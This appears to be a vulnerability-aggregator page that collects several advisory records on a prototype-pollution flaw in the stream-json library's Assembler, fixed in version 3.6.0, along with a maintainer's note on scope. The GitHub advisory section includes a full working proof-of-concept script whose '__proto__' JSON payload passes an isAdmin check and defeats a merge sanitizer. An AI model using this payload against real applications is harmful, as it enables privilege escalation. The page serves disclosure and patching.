stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Source published

1 Oct 2026 20:17:21 UTC

Source modified

1 Oct 2026 20:30:54 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Source published

Oct 1, 2026, 8:17:21 PM (timezone not stated)

Source modified

Oct 1, 2026, 8:30:54 PM (timezone not stated)

Observed here

11 Nov 2026 05:30:03 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named __proto__ invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.

Source published

1 Oct 2026 21:17:19 UTC

Source modified

2 Oct 2026 18:47:49 UTC

Observed here

25 Oct 2026 04:17:29 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.1 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

### Summary A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype. ### Details The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js. ### PoC Run: ```bash node poc-stream-json-proto-injection.mjs ``` Full proof-of-concept source (poc-stream-json-proto-injection.mjs): ```js // stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys // Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family) // Root cause: Assembler builds every object as a plain `Object` and writes // `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment, // ToPropertyKey → inherited Object.prototype __proto__ setter fires) // Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change // Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab) import { parser } from 'stream-json'; import jsoncParser from 'stream-json/jsonc/Parser.js'; import { streamValues } from 'stream-json/streamers/stream-values.js'; import { streamObject } from 'stream-json/streamers/stream-object.js'; import { Readable } from 'node:stream'; const sv = (input, P = parser) => new Promise((res, rej) => { const vals = []; Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream()) .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej); }); const so = (input) => new Promise((res, rej) => { const out = {}; Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream()) .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej); }); let pass = 0, fail = 0; const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } }; const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}'; const baseline = JSON.parse(INPUT); const sv1 = (await sv(INPUT))[0]; const so1 = await so(INPUT); const jc1 = (await sv(INPUT, jsoncParser))[0]; const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user; const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0]; const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0]; const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0]; console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) =='); check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]'); check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}'); check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin')); check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true); check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser'); check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype); check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2); check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]'); check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]'); console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key =='); check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__')); check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined); check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype); console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like =='); check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role'); check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3); console.log('== D. FAIL-CLOSED CONTROLS =='); check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1); check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined); check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined); console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass =='); const authorize = o => o.isAdmin === true && o.role === 'superuser'; check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true); check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false); const target = { theme: 'light' }; for (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in) check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)', Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true); const t2 = { theme: 'light' }; for (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin')); console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`); process.exit(fail ? 1 : 0); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` RESULT: 21 PASS / 0 FAIL ``` ### Impact Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists. --- # Maintainer note on scope The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `"__proto__": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does. ---

Source published

5 Oct 2026 22:49:19 UTC

Source modified

5 Oct 2026 23:00:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Publisher rating · MODERATE